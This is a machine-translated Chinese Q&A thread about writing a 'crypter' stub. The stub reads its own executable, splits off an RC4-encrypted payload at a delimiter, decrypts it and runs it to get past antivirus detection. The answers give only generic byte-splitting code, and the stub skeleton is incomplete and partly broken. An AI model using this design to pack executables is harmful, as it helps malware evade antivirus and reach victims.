2012-03-18 47 views
6

我遇到了一些问题,其他问题对我没有多大帮助。在分隔符处分割一个字节数组

我是一名安全专业的学生,​​我正在努力为一个项目写一篇作文。对于那些不知道这是什么的人,你可以在这里阅读。 http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html

不管怎么说,一个快速的解释,crypters是指通过加密程序,然后贴上一个“存根”,它是解密,在前面的程序以绕过反病毒程序。我在分割文件时遇到了一个令人讨厌的问题。

令人烦恼的是,我必须将加密的可执行文件放入字节数组中,因为字符串会杀死我的加密可执行文件中的某些字符,使其无法执行。更糟糕的是,我仍然需要“分割”exe文件,这是麻烦开始的地方。

存根的基本思路是:

  • 获取当前exe文件路径
  • 通过File.ReadAllytes
  • 分割在分隔符的文件,“EVILDELIMITER”
  • 阅读所有字节
  • 获取最后一个字段(因为那是加密的EXE)
  • 使用RC4解密它
  • 使用RunPE运行。

我有一切工作,除了拆分部分,这是最烦人的。如何在分隔符处分割一个字节数组?有没有更简单的方法来做到这一点?

这是我迄今为止存根的代码。

public void main() 
{ 
    string outpath = RandomString(8) + ".exe"; 
    byte[] key = { 33, 44, 55, 66, 77 }; 
    string apppath = Assembly.GetEntryAssembly(); 
    byte[] exe = File.ReadAllBytes(apppath); 
    string strseperate = "EVILSEPERATOREVIL"; 
    System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding(); 
    byte[] seperator = encoding.GetBytes(strseperate); 
    //Split code should go here 

    exe = Decrypt(key, encrypted); 
    Process.Start(outpath); 
} 

感谢您的任何帮助。

+1

编码为UTF8并不理想。你可以得到无效的Unicode码点。你应该尝试遍历字节数组。 – Polynomial 2012-03-18 00:53:52

+0

如何将字符串更改为字节数组?我需要改变我的分隔符,才能搜索它,除非你知道一个函数可以让我通过字符串值来搜索字节数组。我还修复了代码,我不小心使用了我的旧版本。 – redcodefinal 2012-03-18 00:56:19

+0

@Roger它引发了一堆错误:(它说字符串没有ToArray ()方法。 – redcodefinal 2012-03-18 01:04:16

回答

2
byte[] SeparateAndGetLast(byte[] source, byte[] separator) 
{ 
    for (var i = 0; i < source.Length; ++i) 
    { 
    if(Equals(source, separator, i)) 
    { 
     var index = i + separator.Length; 
     var part = new byte[source.Length - index]; 
     Array.Copy(source, index, part, 0, part.Length); 
     return part; 
    } 
    } 
    throw new Exception("not found"); 
} 

public static byte[][] Separate(byte[] source, byte[] separator) 
{ 
    var Parts = new List<byte[]>(); 
    var Index = 0; 
    byte[] Part; 
    for (var I = 0; I < source.Length; ++I) 
    { 
     if (Equals(source, separator, I)) 
     { 
      Part = new byte[I - Index]; 
      Array.Copy(source, Index, Part, 0, Part.Length); 
      Parts.Add(Part); 
      Index = I + separator.Length; 
      I += separator.Length - 1; 
     } 
    } 
    Part = new byte[source.Length - Index]; 
    Array.Copy(source, Index, Part, 0, Part.Length); 
    Parts.Add(Part); 
    return Parts.ToArray(); 
} 

bool Equals(byte[] source, byte[] separator, int index) 
{ 
    for (int i = 0; i < separator.Length; ++i) 
    if (index + i >= source.Length || source[index + i] != separator[i]) 
     return false; 
    return true; 
} 
+0

你的实现看起来很稳固,但是为什么Seperate返回一个byte [] []而不是一个普通的字节[]?我只需要最后一个字段,因为只有一个分隔符。 – redcodefinal 2012-03-18 01:34:19

+0

use Separate(..)。Last() – 2012-03-18 01:39:45

+0

好吧,谢谢,让我试试这个真正的快速:D – redcodefinal 2012-03-18 01:42:09

0

你的方法有很多缺陷的 - 你读一个完整的字节[]入内存,但解密是一个流化的过程,所以你不必要浪费内存。其次,你不能在CLR中“分裂”一个数组(或者一个字符串)。当你分割一个CLR字符串时,它会创建副本,浪费内存。

试试这个:

public static void Main(String[] args) { 

    using(FileStream fs = new FileStream(@"path\to\fileName.exe", FileMode.Read)) { 

     BinaryReader rdr = new BinaryReader(fs); 
     SeekToEndOfDelimiter(rdr); 

     // Use an implementation of RC4 decryption that accepts Streams as arguments, then pass fs directly as an argument: 
     using(FileStream output = new FileStream(@"path\to\out.exe", FileMode.Write)) { 
      // Providing the key arguments is an exercise for the reader 
      MyRc4Implementation.DecryptStream(fs, output, key); 
     } 
    } 

} 

private static void SeekToEndOfDelimiter(BinaryReader rdr) { 
    // Implementing this code is an exercise left up to the reader. 
    // But just iterate through each byte (assuming ASCII-compatible encoding) until you encounter the end of the delimiter 
} 

那里,没有凌乱的byte []数组:)

+0

不太确定如何去实现这个。 d BianryReader之前。我也不在乎浪费内存,因为它没有做任何密集的事情,只是解密exe并在终止之前运行它。 – redcodefinal 2012-03-18 01:36:57

1

我知道我真的,真的迟到了,但是......当然,你可以修改如果您愿意,可以轻松返回列表。我留下了评论/书签以防万一它会有帮助......这可能不是最优化/优化的代码,但对我的特定用例非常适用,我想我会分享。

public static byte[][] SplitBytesByDelimiter(byte[] data, byte delimiter) 
    { 
     if (data == null) throw new ArgumentNullException(nameof(data)); 
     if (data.Length < 1) return null; 

     List<byte[]> retList = new List<byte[]>(); 

     int start = 0; 
     int pos = 0; 
     byte[] remainder = null; // in case data found at end without terminating delimiter 

     while (true) 
     { 
      // Console.WriteLine("pos " + pos + " start " + start); 
      if (pos >= data.Length) break; 

      if (data[pos] == delimiter) 
      { 
       // Console.WriteLine("delimiter found at pos " + pos + " start " + start); 

       // separator found 
       if (pos == start) 
       { 
        // Console.WriteLine("first char is delimiter, skipping"); 
        // skip if first character is delimiter 
        pos++; 
        start++; 
        if (pos >= data.Length) 
        { 
         // last character is a delimiter, yay! 
         remainder = null; 
         break; 
        } 
        else 
        { 
         // remainder exists 
         remainder = new byte[data.Length - start]; 
         Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start)); 
         continue; 
        } 
       } 
       else 
       { 
        // Console.WriteLine("creating new byte[] at pos " + pos + " start " + start); 
        byte[] ba = new byte[(pos - start)]; 
        Buffer.BlockCopy(data, start, ba, 0, (pos - start)); 
        retList.Add(ba); 

        start = pos + 1; 
        pos = start; 

        if (pos >= data.Length) 
        { 
         // last character is a delimiter, yay! 
         remainder = null; 
         break; 
        } 
        else 
        { 
         // remainder exists 
         remainder = new byte[data.Length - start]; 
         Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start)); 
        } 
       } 
      } 
      else 
      { 
       // payload character, continue; 
       pos++; 
      } 
     } 

     if (remainder != null) 
     { 
      // Console.WriteLine("adding remainder"); 
      retList.Add(remainder); 
     } 

     return retList.ToArray(); 
    }